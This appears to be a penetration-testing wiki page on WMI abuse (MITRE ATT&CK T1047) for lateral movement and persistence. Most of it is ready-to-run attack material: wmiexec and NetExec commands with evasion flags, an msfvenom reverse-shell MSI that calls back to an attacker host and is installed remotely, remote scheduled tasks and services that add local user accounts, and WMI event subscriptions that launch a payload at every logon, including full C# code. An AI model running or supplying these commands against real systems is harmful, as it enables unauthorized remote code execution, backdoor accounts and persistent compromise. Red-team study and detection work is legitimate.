MITRE ATT&CK™ Windows Management Instrumentation - Technique T1047
Theory
Windows Management Instrumentation (WMI) provides a standardized way for querying and managing various elements of a Windows operating system. It allow administrators to perform standard management tasks that attackers can abuse to perform lateral movements.
When using WMI remotely, the client application establishes a connection to the WMI service on the remote Windows machine. This connection is made using DCOM (Distributed Component Object Model) as the underlying transport protocol. The client initiates an RPC (Remote Procedure Call) connection to communicate with the WMI DCOM infrastructure on the remote system.
Once the DCOM connection is established, the MS-WMI protocols (Microsoft WMI Extensions to DCOM) comes into play. MS-WMI protocols provides additional functionality that is specific to WMI operations over the DCOM protocol. These extensions enhance DCOM to handle WMI-specific tasks such as executing WMI queries, invoking methods, and retrieving system information.
This method is much more discreet than the one used by psexec, smbexec and the other main tools in the impacket suite.
Practice
Remote Process Creation Using WMI
Impacket
The Impacket's wmiexec script give you a semi-interactive shell by leveraging DCOM and the MS-WMI protocol.
#Execute commands over MS-WMIwmiexec.py<domain>/<username>:<password>@<target>#SilentCommand, mor likely to bypass security solutionswmiexec.py-silentcommand<domain>/<username>:<password>@<target><COMMAND>
NetExec
We may use netexec to remotely execute commands on a remote target using WMI.
## Check if you can remote WMI# With SMB port opennxcwmi<target>-u<username>-p<password># With SMB port close, add the flag -d DOMAINnxcwmi<target>-u<username>-p<password>-d<domain>## Execute commands# wmiexecnxcwmi<target>-u<username>-p<password>-xwhoami# wmiexec-eventnxcwmi<target>-u<username>-p<password>-xwhoami--exec-methodwmiexec-event# wmiexec-event + SilentCommand, mor likely to bypass security solutionsnxcwmi<target>-u<username>-p<password>-xwhoami--exec-methodwmiexec-event--no-output
We can spawn a process on a remote target using wmi and powershell cmdlets
We can install a MSI package on a remote target using wmi and powershell cmdlets. Let's create a malicious MSI using msfvenom and upload it to a share :
#Generate an evil packagemsfvenom-pwindows/x64/shell_reverse_tcpLHOST=<ATTACKING_IP>LPORT=<PORT>-fmsi>evil64.msi#Upload it to a sharesmbclient-c'put evil64.msi'-U<USER>'//TARGET/C$'
We can install a MSI package on a remote target using wmic.exe. Let's create a malicious MSI using msfvenom:
#Generate an evil package & host it on SMB servermsfvenom-pwindows/x64/shell_reverse_tcpLHOST=<ATTACKING_IP>LPORT=<PORT>-fmsi>evil64.msi#Upload it to a sharesmbclient-c'put evil64.msi'-U<USER>'//TARGET/C$'
Execute following commands
#Install MSI on remote targetwmic.exe/node:TARGET/user:DOMAIN\USER/password:PASSWORDproductcallinstallPackageLocation=c:\evil64.msi
Remote Scheduled Tasks Creation Using WMI
We can create scheduled tasks on a remote target using wmi and powershell cmdlets.
We can create scheduled tasks on a remote target using wmic.exe
In Windows 8 and higher, you can only create scheduled jobs with WMI if the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration has a value EnableAt=1of type REG_DWORD. Therefore, this technique is unlikely to be found in the wild.
#Create a scheduled task & start itwmic.exe /node:TARGET /user:DOMAIN\USER /password:PASSWORD path Win32_ScheduledJob create Command="net user schTaskUser Pass123 /add",DaysOfMonth=1,DaysOfWeek=1,InteractWithDesktop=False,RunRepeatedly=False,StartTime="********143000.000000-420"
#Delete the taskwmic.exe/node:TARGET /user:DOMAIN\USER /password:PASSWORD path Win32_ScheduledJob where"JobiD like '1'" call Delete
Remote Service Creation Using WMI
We can create a service on a remote target using wmi and powershell cmdlets.
Powershell v1+ (2012)
#Create PSCredentials and a service$credential = New-Object System.Management.Automation.PSCredential("USERNAME", (ConvertTo-SecureString "PASSWORD" -AsPlainText -Force));
Invoke-WmiMethod -Class Win32_Service -Name Create -ArgumentList @($false,"WMI Created Service",[byte]::Parse("1"),$null,$null,"WMICreatedService","net user wmiSvcUser Pass123 /add",$null,[byte]::Parse("16"),"Manual","NT AUTHORITY\SYSTEM","") -ComputerName TARGET -Credential $credential
#Create an handle to the service and Start it(Get-WmiObject -Class Win32_Service -Filter "name='WMICreatedService'" -ComputerName TARGET -Credential $credential).StartService()
#Finaly stop and delete it(Get-WmiObject -Class Win32_Service -Filter "name='WMICreatedService'" -ComputerName TARGET -Credential $credential).StopService()
(Get-WmiObject -Class Win32_Service -Filter "name='WMICreatedService'" -ComputerName TARGET -Credential $credential).Delete()
Powershell v3+ (2012)
#Create CimSession and a service$Session = New-CimSession -ComputerName "TARGET" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))) -ErrorAction Stop;
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{ Name = "MyService"; DisplayName = "MyService"; PathName = "net user munra2 Pass123 /add"; ServiceType = [byte]::Parse("16"); StartMode = "Manual" }
#Create an handle to the service and Start it$Service =Get-CimInstance-CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'MyService'"Invoke-CimMethod-InputObject $Service -MethodName StartService#Finaly stop and delete itInvoke-CimMethod-InputObject $Service -MethodName StopServiceInvoke-CimMethod-InputObject $Service -MethodName Delete
We can create a service on a remote target using wmic.exe.
#I didn't find a way to create services using wmic.exe#Contcat me if you did#Start itwmic.exe /node:TARGET /user:DOMAIN\USER /password:PASSWORD path Win32_Service where "name like 'WMICreatedService'" call startservice
#Delete itwmic.exe /node:TARGET /user:DOMAIN\USER /password:PASSWORD path Win32_Service where "name like 'WMICreatedService'" call Delete
Typically, WMI event subscription requires creation of the following three classes which are used to store the payload or the arbitrary command, to specify the event that will trigger the payload and to relate the two classes (__EventConsumer &__EventFilter) so execution and trigger to bind together.
__EventFilter // Trigger (new process, failed logon etc.)
__FilterToConsumerBinding // Binds Filter and Consumer Classes
Implementation of this technique doesn’t require any toolkit since Windows has a utility that can interact with WMI (wmic) and PowerShell can be leveraged as well.
Execution of the following commands using powershell will create in the name space of “root\subscription“ three events on the target hosts. You can set the arbitrary payload to execute within 5 seconds on every new logon session creation or within 60 seconds every time Windows starts.
#Create CimSession$Session = New-CimSession -ComputerName "TARGET" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))) -ErrorAction Stop;
#Create filter#Query to execute payload within 60 seconds every time Windows starts:#SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325
$FilterArgs = @{name='v4resk-WMI'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_LogonSession'"};
$Filter=New-CimInstance -CimSession $Session -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
#Create consumer$ConsumerArgs =@{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\evil.exe";}$Consumer=New-CimInstance -CimSession $Session -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
#Create cosnmerBinding (bind filter & consumer)$FilterToConsumerArgs =@{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}$FilterToConsumerBinding = New-CimInstance -CimSession $Session -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
Execution of the following commands using wmic.exe will create in the name space of “root\subscription“ three events on the target hosts. You can set the arbitrary payload to execute within 5 seconds on every new logon session creation or within 60 seconds every time Windows starts.
#Create filter to execute payload within 5 seconds on every new logon session creation:wmic /node:TARGET /user:DOMAIN\USER /password:PASSWORD /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="JustAnEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_LogonSession'"
#Or#Create filter to execute payload within 60 seconds every time Windows starts:wmic /node:TARGET /user:DOMAIN\USER /password:PASSWORD /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="JustAnEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
wmic /node:TARGET /user:DOMAIN\USER /password:PASSWORD /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="JustAconsumer", ExecutablePath="C:\Windows\TEMP\evil.exe",CommandLineTemplate="C:\Windows\TEMP\evil.exe"
wmic /node:TARGET /user:DOMAIN\USER /password:PASSWORD /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"JustAnEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"JustAconsumer\""
We can implement the same technique with following C# code
// code completely stolen from @domchell article // https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/// slightly modified to accommodate this labusingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;usingSystem.Management;namespacewmisubscription_lateralmovement{classProgram {staticvoidMain(string[] args) { // Connect to remote endpoint for WMI managementstring NAMESPACE =@"\\192.168.56.105\root\subscription";ConnectionOptions cOption =newConnectionOptions();ManagementScope scope =null; scope =newManagementScope(NAMESPACE, cOption);scope.Options.Username="spotless";scope.Options.Password="123456";scope.Options.Authority=string.Format("ntlmdomain:{0}",".");scope.Options.EnablePrivileges=true;scope.Options.Authentication=AuthenticationLevel.PacketPrivacy;scope.Options.Impersonation=ImpersonationLevel.Impersonate;scope.Connect(); // Create WMI event filterManagementClass wmiEventFilter =newManagementClass(scope,newManagementPath("__EventFilter"),null); string query = "SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_LogonSession'";
WqlEventQuery myEventQuery =newWqlEventQuery(query);ManagementObject myEventFilter =wmiEventFilter.CreateInstance();myEventFilter["Name"] ="evilSpotlessFilter";myEventFilter["Query"] =myEventQuery.QueryString;myEventFilter["QueryLanguage"] =myEventQuery.QueryLanguage;myEventFilter["EventNameSpace"] =@"root\cimv2";myEventFilter.Put(); // Create WMI event consumer ManagementObject myEventConsumer = new ManagementClass(scope, new ManagementPath("CommandLineEventConsumer"), null).CreateInstance();
myEventConsumer["Name"] ="evilSpotlessConsumer";myEventConsumer["ExecutablePath"] ="mspaint.exe";myEventConsumer.Put(); // Bind filter and consumer ManagementObject myBinder = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();
myBinder["Filter"] =myEventFilter.Path.RelativePath;myBinder["Consumer"] =myEventConsumer.Path.RelativePath;myBinder.Put(); // Cleanup // myEventFilter.Delete(); // myEventConsumer.Delete(); // myBinder.Delete(); } }}